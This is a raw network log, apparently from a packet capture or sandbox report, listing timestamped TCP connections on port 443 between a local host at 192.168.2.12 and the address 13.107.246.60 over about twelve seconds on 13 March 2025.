Mar 13, 2025 10:08:10.937486887 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.937493086 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.940548897 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.940587044 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.940690994 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.940915108 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.940928936 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.962372065 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.962479115 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.962567091 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.962918997 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.962918997 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.962937117 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.962948084 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.965892076 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.965933084 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.966041088 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.966279984 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.966294050 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:12.895450115 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:12.896224976 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:12.896258116 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:12.896914005 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:12.896924019 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:12.983479023 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:12.984061956 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:12.984085083 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:12.984513998 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:12.984520912 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.022981882 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.023618937 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.023649931 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.024159908 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.024166107 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.036678076 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.037046909 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.037075996 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.037394047 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.037399054 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.065932989 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.066452980 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.066469908 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.066890001 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.066895008 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.510273933 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.510454893 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.510519981 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.510548115 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.510608912 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.510663033 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.510735989 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.510735989 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.510751963 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.510761023 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.513756037 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.513793945 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.513885975 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.514045954 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.514060974 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.550332069 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.550518990 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.550616980 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.550776005 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.550801039 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.550816059 CET	49744	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.550822020 CET	443	49744	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.553628922 CET	49747	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.553678989 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.553761005 CET	49747	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.553925037 CET	49747	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.553940058 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.577327013 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.577415943 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.577503920 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.577940941 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.577960968 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.577971935 CET	49745	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.577977896 CET	443	49745	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.580508947 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.580538988 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.580604076 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.580733061 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.580745935 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.662000895 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.662094116 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.662170887 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.664716005 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.664747953 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.664760113 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.664767027 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.667927027 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.667970896 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.668072939 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.668258905 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.668275118 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.732063055 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.772208929 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.772273064 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.772291899 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.772352934 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.772464991 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.772480011 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.772491932 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.772497892 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.775526047 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.775569916 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:13.775657892 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.775825024 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:13.775840044 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.644625902 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.645162106 CET	49747	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.645185947 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.645601988 CET	49747	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.645606995 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.669589996 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.670078039 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.670093060 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.670551062 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.670557022 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.730751038 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.731405973 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.731453896 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.731831074 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.731837988 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.819272995 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.819948912 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.819971085 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.820395947 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.820400953 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.866102934 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.866702080 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.866730928 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:15.867145061 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:15.867151022 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.298213005 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.298300982 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.298378944 CET	49747	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.303185940 CET	49747	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.303221941 CET	443	49747	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.320664883 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.320775986 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.320853949 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.371406078 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.371479988 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.371547937 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.371567011 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.371634960 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.371685028 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.395741940 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.395780087 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.395797014 CET	49748	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.395803928 CET	443	49748	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.400041103 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.400069952 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.400103092 CET	49746	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.400110960 CET	443	49746	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.400444031 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.400474072 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.400521994 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.400531054 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.400572062 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.401771069 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.401789904 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.401797056 CET	49749	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.401803017 CET	443	49749	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.435328007 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.435380936 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.435451984 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.441646099 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.441675901 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.450028896 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.450078964 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.450136900 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.450270891 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.450283051 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.451006889 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.451046944 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.451101065 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.451212883 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.451224089 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.451267958 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.451299906 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.451344967 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.451414108 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.451425076 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.458522081 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.458607912 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.458651066 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.458789110 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.458811045 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.458832979 CET	49750	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.458838940 CET	443	49750	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.462826967 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.462861061 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:16.463083982 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.463083982 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:16.463109016 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.515377045 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.516320944 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.516350031 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.516978025 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.516984940 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.602634907 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.603327036 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.603358030 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.603880882 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.603884935 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.653625011 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.654396057 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.654407978 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.655277967 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.655282974 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.700603962 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.701304913 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.701335907 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.701812029 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.701817989 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.732079983 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.744385958 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.744405031 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:18.746995926 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:18.747004032 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.256244898 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.256273985 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.256342888 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.256408930 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.256711006 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.256711006 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.257059097 CET	49751	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.257077932 CET	443	49751	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.260060072 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.260103941 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.260220051 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.260457039 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.260469913 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.261590004 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.261662960 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.261761904 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.261965990 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.261975050 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.261989117 CET	49752	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.261993885 CET	443	49752	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.264481068 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.264511108 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.264595032 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.264789104 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.264807940 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.363694906 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.363768101 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.363843918 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.364097118 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.364113092 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.364124060 CET	49753	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.364130020 CET	443	49753	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.367367029 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.367396116 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.367484093 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.367660046 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.367669106 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.420895100 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.420995951 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.421058893 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.421304941 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.421317101 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.421331882 CET	49754	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.421339989 CET	443	49754	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.424566984 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.424598932 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.424741983 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.424877882 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.424890995 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.428807974 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.428834915 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.428881884 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.428889990 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.428926945 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.429121971 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.429130077 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.429160118 CET	49755	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.429164886 CET	443	49755	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.431602955 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.431616068 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:19.431691885 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.431840897 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:19.431850910 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.303632975 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.304577112 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.304593086 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.305198908 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.305203915 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.395426035 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.396126032 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.396224976 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.396620035 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.396630049 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.451203108 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.451997042 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.452016115 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.452440977 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.452445984 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.534528017 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.535007000 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.535020113 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.535677910 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.535681963 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.598047018 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.598737955 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.598751068 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:21.599457026 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:21.599461079 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.053796053 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.053873062 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.053946972 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.054141998 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.054167032 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.054178953 CET	49756	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.054184914 CET	443	49756	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.057394028 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.057435989 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.057542086 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.057766914 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.057776928 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.122503042 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.125319958 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.125381947 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.125439882 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.125485897 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.125577927 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.125602961 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.125617981 CET	49757	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.125624895 CET	443	49757	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.128562927 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.128592968 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.128686905 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.128873110 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.128884077 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.221472025 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.221539974 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.221571922 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.221632957 CET	443	49759	13.107.246.60	192.168.2.12
